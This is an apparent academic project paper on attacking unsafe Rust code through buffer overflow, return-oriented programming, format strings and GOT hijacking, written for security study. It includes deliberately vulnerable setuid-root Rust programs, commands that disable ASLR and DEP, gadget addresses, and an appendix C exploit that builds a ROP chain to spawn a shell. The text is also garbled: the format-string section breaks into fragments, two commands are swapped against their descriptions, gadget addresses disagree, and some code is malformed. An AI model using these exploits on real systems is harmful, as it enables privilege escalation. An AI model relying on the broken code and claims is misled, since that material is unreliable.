On Control Flow Hijacks of unsafe Rust

YANG SONG, Stanford University, USA

Rust is a newly designed systems programming language that aims at safety. However, as a systems language, Rust must be able to manipulate raw memory and interact with native C code freely. In this project, we demonstrate how the use of unsafe keyword can potentially undermine the security guarantees of Rust. Specifically, we provide working demonstrations to show that in some circumstances, vulnerable Rust codes using unsafe can be attacked by traditional buffer overflow, return-oriented programming and format string vulnerability. We also uncovered some design choices of Rust binary code generation, and analyzed their advantages and disadvantages of preventing control flow hijacks.

CCS Concepts: • Security and privacy → Software security engineering;

Additional Key Words and Phrases: Rust programming language, Rust unsafe keyword, control flow hijacking, stack overflow, return-oriented programming, format string vulnerability, integer overflow, hijacking the GOT

ACM Reference Format:

1 INTRODUCTION

Rust is designed to be a safe systems programming language [Matsakis and Klock II 2014]. There are a lot of security mechanisms baked into syntaxes of the language, which can eliminate various memory safety issues. Examples of those mechanisms include

• Ownership model. It is the flagship feature in Rust to eliminate data races and memory leaks. The ownership model requires that for any object that does not implement the Copy trait, there exits one and only one variable that owns the object. Other variables can only access the object via borrowing. There can be multiple immutable borrowers but only one mutable borrower is permitted. In addition, mutable borrowing cannot occur simultaneously with immutable borrowing. Sticking to this model can prevent data races and eliminate the risk of illegal pointers, such as iterator invalidation and use after free.
• Lifetimes. By enforcing lifetime consistency at compile time, references in Rust cannot point to any invalid resource.
• Bound checking. This prevents accessing illegal index of a buffer. Hence buffer overflow—if the programmer sticks to safe APIs of containers—will become impossible.
• Comprehensive type systems and type inference. Type soundness makes sure there is no undefined behavior. A good side effect is that using Option and Result type removes the need of exceptions. This can prevent potential vulnerabilities of exception handlers.

As a systems programming language, Rust has to run efficiently, interact with native C code (because most operating systems such as Linux are written in C) which does not use ownership models, and manipulate memory in a flexible way. Unfortunately, Rust’s safe syntaxes can sometimes be too dogmatic and prevent it from doing efficient systems programming tasks. The way of getting around this problem in Rust is the unsafe keyword. Rust code in an unsafe block can

• Call native C functions or unsafe Rust functions.
• Dereference raw pointers. This enables Rust to read and write the memory without ownership constraints.

However, the use of unsafe also makes it possible for non-proficient or malicious programmers to write vulnerable code. This has been noticed independently by other people. For example, Hosfelt [2017] tried to dive deep into the stacks of Rust and do traditional buffer overflow attack for unsafe code (but failed).

In this project, we show that certain vulnerable Rust code using unsafe are subject to traditional buffer overflow attacks [One 1996], return-oriented programming [Prandini and Ramilli 2012], format string vulnerabilities [Scut 2001], and other possible attacks [Cowen et al. 2000]. Our contributions can be summarized as follows

• For buffer overflow, return-oriented programming and format string vulnerability, we give vulnerable Rust code and their corresponding malicious inputs. All the attacks can run on real systems. To the best of our knowledge, this project provides the first working attacks for code written in Rust.
• We also investigated integer overflow [blexim 1996] and Global Offset Table (GOT) hijacking [cntext 2012] for vulnerable Rust code.
• We uncovered some traits of Rust compilers. More specifically, we found that Rust compiler does not have an option to add stack canary. However, we discovered that it turns to put pointers below buffers in the stack, complying with the strategy of ProPolice [Etoh 2000]. This makes the conventional approach to overflowing pointers impossible.

2 BACKGROUND

In this section, we explain the stack layout of functions and how control flow hijacking works. For this project, we only consider 32-bit x86 systems. The ideas can be easily generalized to other architectures.

2.1 Stack frame

The stack frame (as shown in Fig. 1(a)) is a piece of memory allocated on the stack for a function. It is used to store its function arguments, return addresses, local variables and other runtime information. There are two registers, esp and ebp, that are critical in stack manipulations. esp is called the stack pointer, and it stores the

address of current stack head. ebp is the stack frame pointer, which stores the beginning address of previous stack frame. Whenever a function gets called, the following assembly code will be executed:

```
push ebp          ; put %ebp into the stack
mov esp, ebp      ; %ebp now temporarily stores %esp
...               
mov esp, ebp      ; recover %esp
pop ebp           ; recover %ebp.
ret               ; return to the address stored in %esp + 4
```

Therefore, address information in the beginning of current stack frame contains the return address and stored ebp, both of which are critical for control flow. If the return address is changed, ret will run code somewhere else. Similarly, if the stored ebp has been altered, pop ebp will give the ebp register a wrong value, which will affect the return address of the caller function.

### 2.2 Buffer overflow

Buffer overflow is a popular way of changing the return address stored on the stack. Suppose there is a buffer allocated below the return address. Furthermore assume the code is buggy and the buffer stores more bytes than permitted. As shown in Fig. 1, the extra bytes can overwrite the return address which will lead to a different control flow when the current function returns.

In a buffer overflow attack, the user can control the content stored in the buffer. Due to the buffer overflow bug, he can store more bytes to overwrite the return address. A malicious user can then alter the return address to point to somewhere in the buffer. If the user stores machine code in the buffer, after the current function returns, the code will be executed. Therefore, buffer overflow gives the user a way to do potentially anything he wants.

A common practice of exploiting buffer overflow is to hijack the return address to spawn a shell. This requires the user to store shellcode in the buffer, and change the return address to it. There are some practical requirements for the shellcode, for example, it should not contain 0x00, which will be treated as end of string ‘\0’. If the buffer is a string buffer, the shellcode will be terminated at 0x00. One [1996] has provided an implementation of shellcode without 0x00, which can be easily used as inputs to a string buffer.

### 2.3 Return-oriented programming

In order to prevent attack code execution, modern CPUs and operating systems support executable space protection. They can mark stacks to be non-executable to avoid running shellcode in the buffer. However, data execution prevention (DEP) is not enough for defending against control flow hijacking.

Return-oriented programming [Prandini and Ramilli 2012] bypasses DEP by exploiting code already exists in the program. It can hijack control flow without injecting code. Suppose after buffer overflow, we want to run the following code with return-oriented programming:

```
  mov eax, 11
  mov ebx, 0
  mov ecx, 0
  syscall
```

The first step is to find code snippets in the program or linked libraries that end with a ret. Also known as gadgets, those code snippets can be chained to do powerful things. In order to execute the above assembly code, the following 4 code gadgets can be especially useful:

```
  pop eax | pop ebx | pop ecx | syscall
  ret   | ret   | ret   | ret
```

Fig. 2 shows how to arrange the addresses of those gadgets on the stack in a proper way. Note that the stack now does not include any executable code—they only include addresses to gadgets and some auxiliary values. It turns out to be surprisingly easy to find useful gadgets in a moderate-sized program, and one can easily chain them to do malicious things, such as spawning a shell.

### 2.4 Format string vulnerability

This is a security vulnerability that results from abusing C format string functions, such as printf, sprintf, and snprintf. A function like printf can take a single string as an argument

```
printf("CS242 is a great course!");
```

It can also take a format string and some corresponding values as arguments, such as

```
printf("%s is a great course!", "CS242");
```

However, what happens if we use the following?

```
printf("%s is a great course!");
```

The printf function will try to find the absent argument corresponding to %. Since function arguments are pushed onto the stack...
On Control Flow Hijacks of unsafe Rust

Fig. 2. Chaining all the gadgets by arranging their addresses properly in the stack.

before the function gets called, printf will actually try to fetch anything on the stack right before printf’s stack frame, interpret it as a string, and output it to the screen. This behavior makes it possible for a malicious user to walk up the stack and read control information. Even worse, format strings have a special format placeholder %n, which can be used to write bytes onto the stack. The attacker can then combine %n and other placeholders to write potentially arbitrary things to the stack, including changing stack return addresses for control flow hijacking.

Rust standard libraries and macros do not contain C-like format string functions. However, it is easy and common to interact with C code with Rust. In this project, we study whether format string vulnerability in a C library can maliciously affect Rust code through Foreign Function Interface (FFI).

2.5 Integer overflow

If two unsigned integers are very large, their summation might be smaller than either of the summand due to integer overflow. Surprisingly, this can also be exploited for buffer overflow: blexim [1996] provides a piece of vulnerable C code that can be attacked by integer overflow:

```c
int catvars(char *buf1, char *buf2, unsigned int len1, unsigned int len2){
    char mybuf[256];
    if((len1 + len2) > 256){ /* [1] */
        return -1;
    }
    memcpy(mybuf, buf1, len1);
    memcpy(mybuf + len1, buf2, len2); /* [2] */
    do_some_stuff(mybuf);
    return 0;
}
```

When len1 = 0x80 and len2 = 0xffffffff, because of integer overflow, we will get len1 + len2 == 0. As a result, safe guard at [1] will get compromised and buffer overflow occurs at [2].

2.6 Hijacking the Global Offset Table (GOT)
The Global Offset Table (GOT) is located in the .got section of an ELF executable. When the executable requests to use a function in a shared library (such as printf), it will first use rtld to locate the symbol, and write its absolute location in the corresponding GOT entry. Afterwards, when the executable wants to call that function again, it can directly access the GOT.

This poses a potential security threat: If we can hijack a pointer in the program (for example using buffer overflow), we might redirect it to some GOT entry and change the stored location to some function we want. The program might then execute the malicious function through a hijacked GOT entry.

An example of vulnerable program was given in c0ntex [2012]:

```c
int main(int argc, char **argv)
{
    char *pointer = NULL;
    char array[10];
    pointer = array;
    strcpy(pointer, argv[1]); /* [1] */
    printf("Array contains %s at %p\n", pointer, &pointer);
    /* [2] */
    printf("Array contains %s at %p\n", pointer, &pointer);
    /* [4] */
    return EXIT_SUCCESS;
}
```

We can use [1] to overflow array to modify pointer such that it points to the GOT entry of printf. Then we exploit [3] to overwrite the GOT entry with the location of some function, e.g., system. After that, calling printf again in [4] will be hijacked to call system.

Rust programs will have a similar security issue if its raw pointers can be hijacked by buffer overflow.

3 APPROACHES

In this section, we show real world examples of attacking vulnerable Rust code, with the techniques introduced in the previous section. All Rust code is compiled in the debug mode. They can be generalized to release mode in principle, but will require more efforts because of missing debugging information. While doing the experiments, we were not aware of, and hence did not use any rustc options that can turn off security guards.

3.1 Environment

All code was written and run on a customized 32-bit Ubuntu 16.04.2 LTS system. The Address Space Layout Randomization (ASLR) [Team ACM Transactions on Graphics, Vol. 9, No. 4, Article 39. Publication date: December 2017.
We disable it to focus on language specific defends and proof of concept experiments.

We are using a virtual machine provided by CS155. You can also run the following command to disable ASLR

```
execstack -s my_binary
```

and do experiments on any other Linux system. For bypassing DEP, we enable executable stack via

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

For the return-oriented programming experiment, we generate Rust code with static linkage. This requires us to install MUSL, a lightweight open source implementation of C standard library, with the following command

```
rustup add target i686-unknown-linux-musl
```

### 3.2 Buffer overflow

In Rust, a buffer should be an ordinary array. Different from C, we propose to attack the following vulnerable Rust code

```rust
use std::env;
use std::os::unix::ffi::OsStringExt;
use std::ffi::OsString;
use std::ptr::copy;
extern crate libc;

fn bar(target: *mut u8, source: *const u8, len: usize) {
    unsafe {copy(source, target, len);}
}

fn foo(argv: &[u8]){
    let mut buf = [0u8; 286];
    let p_source = &argv[0] as *const u8;
    let p_target = &mut buf[3] as *mut u8;
    bar(p_target, p_source, argv.len());
}

fn main() {  
    let argv: Vec<OsString> = env::args_os().collect();
    let argv = argv[1].clone().into_vec();
    unsafe {libc::setuid(0);}
    foo(&argv[..]);
}
```

This program takes a string from command line input, and calls `foo` to store it in the `u8` array using `bar` function.

Our goal as an attacker is to give the program a string input to spawn a shell with root privileges. We use the following template to run our Rust program with different inputs

```bash
$1 = 280
```

Here [1] fills the exploit string with 0x90, which is the binary representation of `nop`. We then copy a prescribed shellcode [One 1996] to the string ([2]). Now the difficulty becomes where to put the address in the buffer ([3]) and what value to put ([4]). To this end, we need to know the location of `buf` and return address of function `foo`. We can fill some random numbers in the buffer ([2]) and the offset is 0xbffffb5c - 0xbffffa44 = 280, which is the value for [4]. Let us save the attack code as `exploit_overflow.c` and run it. The result shows

```bash
From the result we know that the address of `buf` is 0xbfffffa44, which is the value at [4]. We also know the return address is 0xbfffb5c and the offset is 0xbfffb5c - 0xbfffa44 = 280, which is the value for [3].
```

---

**References:**

- Song, Y. et al (2003) [Reference](source)
- Hosfelt [2017] [Reference](source)
- Stallman and Pesch (1991) [Reference](source)

---

© 2017 ACM 1530-1659/17/01...

meaning the Rust code has been successfully hijacked.

3.3 Return-oriented programming

For the attack described in the previous section to work, we have to bypass DEP by running execstack –s. This is undesirable because most modern operating systems have DEP enabled. In this section, we investigate hijacking control flow with return-oriented programming, which is still effective with DEP.

Our target Rust program is the same as in previous section. However, instead of shellcode, we want to use return-oriented programming to call

```
execve("/bin/sh", NULL, NULL)
```

To reproduce the system call execve we must know its convention—when registers have the following values

- \( \text{eax} = 0x0b \)
- \( \text{ebx} = "/bin/sh" \)
- \( \text{ecx} = "\) (char *)
- \( \text{edx} = "\) (char *)

calling int \( 0x80 \) will do the job. Therefore, for spawning the shell, we need to find gadgets which can manipulate registers \( \text{eax}, \text{ebx}, \text{ecx} \) and \( \text{edx} \). We also need a gadget to invoke int \( 0x80 \).

In fact, our vulnerable Rust program only contains 20 lines of code. This makes finding appropriate gadgets nearly impossible. To mimic attacking a moderate-sized program, we compile the Rust program statically, so that the resulting binary contains the libc code. With libc statically linked, the binary has enough size to contain some interesting gadgets.

By running objdump and grep, we can find useful gadgets in the Rust binary for manipulating \( \text{eax}, \text{ebx}, \) and \( \text{edx} \):

```
0x0809e850: pop eax; ret;
0x08048186: pop ebx; ret;
0x08002cb7: pop edx; ret;
0x0809f043: int 0x80; ret;
```

and the following gadget can manipulate \( \text{ecx} \) with some side effects:

```
0x080b96fc : pop ecx ; test dword ptr [edx], eax ; add bh, byte ptr [ebx - 0x39383af6]; ret;
```

However, even if we have the pop \( \text{eax} \); ret gadget, we cannot write 0x0000000b in the stack and pop it to \( \text{eax} \). This is because 0x0000000b contains 0x00 and will be treated as the termination character "\0" for a string. Considering that, we need to find some gadgets to do arithmetics for \( \text{eax} \), hoping to calculate 0x0000000b without putting it explicitly on the stack:

Note that we can apply gadget 0x080720ab to clear \( \text{eax} \) and use gadget 0x080a4f24 11 times to get \( \text{eax} = 0x0b \).

Now we need to use those gadgets to point \( \text{eax} \) to the string "\bin\sh" (which can be stored on stack), and point \( \text{ecx}, \text{edx} \) to some null string. However, the 0x00 problem arises again because we cannot store null strings on the stack. Luckily, we can set \( \text{eax} \) to 0 with gadget 0x080720ab, and the following gadget will help us put the value of \( \text{eax} \) on the stack:

```
0x080a342a: mov dword ptr [edx], eax; xor eax, eax; pop ebx; pop edi; ret;
```

Given all the gadgets, we can organize them in the following way to spawn a shell:

1. Fill "\bin\sh" on the stack.
2. Use gadgets 0x080a2cb7 and 0x080a342a to put null strings on the stack.
3. Use gadgets 0x080a2cb7, 0x0804af24 to set \( \text{ecx} \). Here the auxiliary values of \( \text{edx} \) and \( \text{ebx} \) should be set carefully in prevention of segmentation faults. We need to set \( \text{ecx} \) before setting other registers because the gadgets can corrupt \( \text{eax} \).
4. Use gadget 0x080720ab to reset \( \text{eax} \). Afterwards, repeat gadget 0x080a4f24 11 times to set \( \text{eax} = 0x0b \).
5. Use gadget 0x08048186 to point \( \text{ebx} \) to the null string.
6. Use gadget 0x080a2cb7 to point \( \text{edx} \) to the null string.
7. Use gadget 0x0809f043 to invoke execve.

The attacking code is actually fairly complicated, therefore we defer it to Appendix A. Screenshots of successful attacks are provided in Appendix B.

3.4 Format string vulnerability

C format string functions are very handy for constructing complicated strings, and are arguably more powerful than Rust string formatting macros. In this section, we study how the vulnerability of C format string functions can affect a Rust program if the Rust programmer decides to use them via FFI.

Let us first wrap a C format string function snprintf as a static library:

```
#include <string.h>
void fmtstring(char buf[], unsigned int size, char *arg){
    snprintf(buf, size, arg);
}
```

Our proposed vulnerable Rust code that depends on the above library is

```
use std::env;
use std::os::unix::ffi::OsStringExt;
use std::ffi::OsString;
```
we can design it carefully to hijack the control flow.

After that, we can provide a

After the copy finished, the program will print out the content of

The trick here is to arrange values in

buf

ables as if they had been provided to

snprintf

Specifically, the Rust code utilizes

fn

fn

fn

extern

foo

fn

...
The values used at \([6], [7], [8], \) and \([9]\) can also be obtained one by one with the help of GDB as well. The screenshots of successful attacks are in Appendix 2.4.

### 3.5 Integer overflow

In debug mode, Rust has the so-called arithmetic overflow check [Wilson 2016]. In other words, Rust will panic if an integer overflow happens at runtime. This check is valid even in unsafe blocks. If overflow is desirable for implementing certain applications (such as hashing algorithms, ring buffers and image codecs), programmer can use some wrapper functions, e.g., overflowing_add.

In release mode Rust will not check integer overflow due to performance considerations. We can attack it in principle, but due to lack of debugging information we gave it up after a few attempts.

### 3.6 Hijacking the GOT

In this attack, we try to overwrite a Rust raw pointer with buffer overflow and use it to hijack GOT entries. We adapt the code in context [2012] to Rust:

```rust
extern crate libc;
use std::env;
use std::os::unix::ffi::OsStringExt;
use std::ffi::OsString;
use std::ffi::CString;
use std::ptr::copy;

fn main() {
    let argv: Vec<String> = env::args().collect();
    let format = argv[1].clone().into_vec();
    let arg1 = argv[2].clone().into_vec();
    let arg2 = argv[3].clone().into_vec();
    let format_cstr = CString::new(format).unwrap();

    let mut p = mem::zeroed::<u8>();
    let mut buf = buf; // [10];
    p = buf.as_mut_ptr() as *mut u8;

    unsafe{
        libc::setuid(0);
        copy(arg1.as_ptr(), p, arg1.len());
        libc::printf(format_cstr.as_ptr(), p as *const i8);
        copy(arg2.as_ptr(), p, arg2.len());
        libc::printf(format_cstr.as_ptr(), p as *const i8);
    }
}
```

However, the stack layout of Rust program is different from our expectation. From the GDB result

```
(gdb) p/d (0xbffff8c0 - 0xbffff7ec) / 4 - 3
$1 = 50
```

we can observe that \( p \) is actually located below buf. Since buffers grow upward on the stack, it is impossible to use buf to overwrite \( p \).

This layout complies with a security technique called ProPolice [Etoh 2000].

### 4 ANALYSES AND CONCLUSION

As a rising system programming language, the design of Rust has incorporated wisdom from decades of research in computer security. With the ownership model, lifetime checking at compile time, runtime bound checking, a stringent type system and other designs, it is much easier to write safe code in Rust compared to C/C++.

However, Rust also has to deal with the dirty aspects of system programming, and unsafe is its compromise. In this project, we study how much unsafe can undermine Rust’s security guarantees. It is surprising to see that breaking unsafe Rust code is relatively easy, and Rust’s compiler does not seem to be ready for those challenges.

From Section 3.6, we observe that Rust’s compiler will put pointers below buffers on the stack. This is a good practice and has long been incorporated into GCC compilers. However, it is strange to see that Rust’s compiler does not implement any stack protection mechanism such as canaries.\(^3\) In contrast, adding canaries to functions with buffers defined on the stack has already become the default behavior of GCC.

Let us take the foo function from Section 3.2’s vulnerable code as an example. The assembly code generated by rustc has the following epilogue:

```
pop ebp
ret
```

But if we translate it from Rust to C, the code generated by GCC (with default options in debug mode) has the following epilogue:

```
mov -0x4(%ebp),%eax
xor %gs:0x14,%eax
je 0x804857d <foo+74>
```

where leave is a command equivalent to the combination of mov esp, ebp and pop ebp. Obviously before returning from a function, the assembly code generated by GCC checks whether the canary has been modified or not.

There might be multiple reasons that Rust does not have this canary. First of all, it is not typical to use unsafe raw pointers to manipulate arrays in Rust, and therefore buffer overflow is rare. However, one can easily imagine more hardware-oriented applications of Rust, such as embedded systems and SoCs, will require a lot of low-level memory operations through raw pointers. Secondly, problems can only happen within an unsafe block, and it already alerts the programmer. However, unsafe can be easily conceived

\(^3\)Stack canary is a randomized data segment right before the return address. Whenever a function returns the program will check the canary to see whether return address has been overflowed from below.
because calling a function with unsafe statements inside does not require enclosing the function call with a unsafe block. Last but not least, checking canaries can actually slow down program execution, which is undesirable for systems programming. However, even if this is the concern of Rust, it should at least provide a compiler option for doing trade-off. Overall, it seems reasonable to implement canaries and other stack guards in rustc.

The format string attack also indicates that even if Rust code is safe, it can be contaminated by vulnerable C libraries via FFI. It is astonishing to see that a problematic C function call can actually change the return address of a Rust function and hijack the control flow of Rust. This inspires us to think of whether we can sandbox the security threats to make sure it does not harm other parts of the program. Although arguably all security flaws can be traced to some unsafe block, it is not guaranteed that the effect can be safely constrained within the unsafe block.

Security guards on the operating system level, such as ASLR and DEP, are also very important for computer security. Their effects are the same for different languages and compilers. However, since our goal is to focus on a specific programming language and proof of concept attacks, we did not enable them in the experiments.

REFERENCES

A RETURN-ORIENTED PROGRAMMING ATTACK CODE

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
#define TARGET "overflow_static"

int main(void)
{
    int base = 0x00000000;
    int buf_address = 0xbffff894;

    char exploits[800];
    memset(exploits, 0x90, sizeof(exploits));

    exploits[0] = '/';
    exploits[1] = '/';
    exploits[2] = 'b';
    exploits[3] = 'i';
    exploits[4] = 'n';
    exploits[5] = '/';
    exploits[6] = 's';
    exploits[7] = 'h';

    //useful gadgets:
    //0x080b96fc : pop ecx ; test dword ptr [edx], eax ; add bh, byte ptr [ebx - 0x39383af6] ; ret
    //0x0809e850: pop eax; ret;
    //0x08048186: pop ebx; ret;
    //0x080a2cb7: pop edx; ret;
    //0x0809f043: int 0x80; ret;
    //0x080a342a: mov dword ptr [edx], eax; xor eax, eax; pop ebx; pop edi; ret;
    //0x080a070ab: xor eax, eax; ret;
    //0x0804af24: inc eax; pop esi; pop ebx; pop ebp; ret;

    int *payload = (int*)(exploits + 280);
    int offset0 = 8;
    int offsetb = 12;

    //make 0x00000000
    *payload++ = 0x080a2cb7 + base;
    *payload++ = buf_address + offset0;
    *payload++ = 0x080720ab + base;
    *payload++ = 0x080a342a + base;
    *payload++ = 0xdeadc0de;
    *payload++ = 0xdeadc0de;

    //ecx
    *payload++ = 0x080a2cb7 + base;
    *payload++ = buf_address;
    *payload++ = 0x08048186;
    *payload++ = buf_address + 0x39383af6;
    *payload++ = 0x080b96fc + base;
    *payload++ = buf_address + offset0;

    //eax = 0xb
    *payload++ = 0x080720ab + base;
    *payload++ = 0x0804af24 + base;
```c
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//2
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//3
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//4
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//5
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//6
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//7
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//8
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//9
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//a
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//b
*payload++ = 0x0804af24 + base;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
*payload++ = 0xdeadc0de;
//ebx
*payload++ = 0x08048186 + base;
*payload++ = buf_address;
//edx
*payload++ = 0x080a2cb7 + base;
*payload++ = buf_address + offset0;
```
On Control Flow Hijacks of unsafe Rust

```c
//int 0x80
type payload = 0x0809f043 + base;

char *args[] = {TARGET, exploits, NULL};
char *env[] = {NULL};

execve(TARGET, args, env);
fprintf(stderr, "execve failed.");
return 0;
```

B SCREENSHOTS

![Screenshot](image-url)

Fig. 3. Screenshot of buffer overflow attack.
Fig. 4. Screenshot of return-oriented programming attack.

Fig. 5. Screenshot of exploiting format string vulnerability.

Received December, 2017; final version December, 2017; accepted December, 2017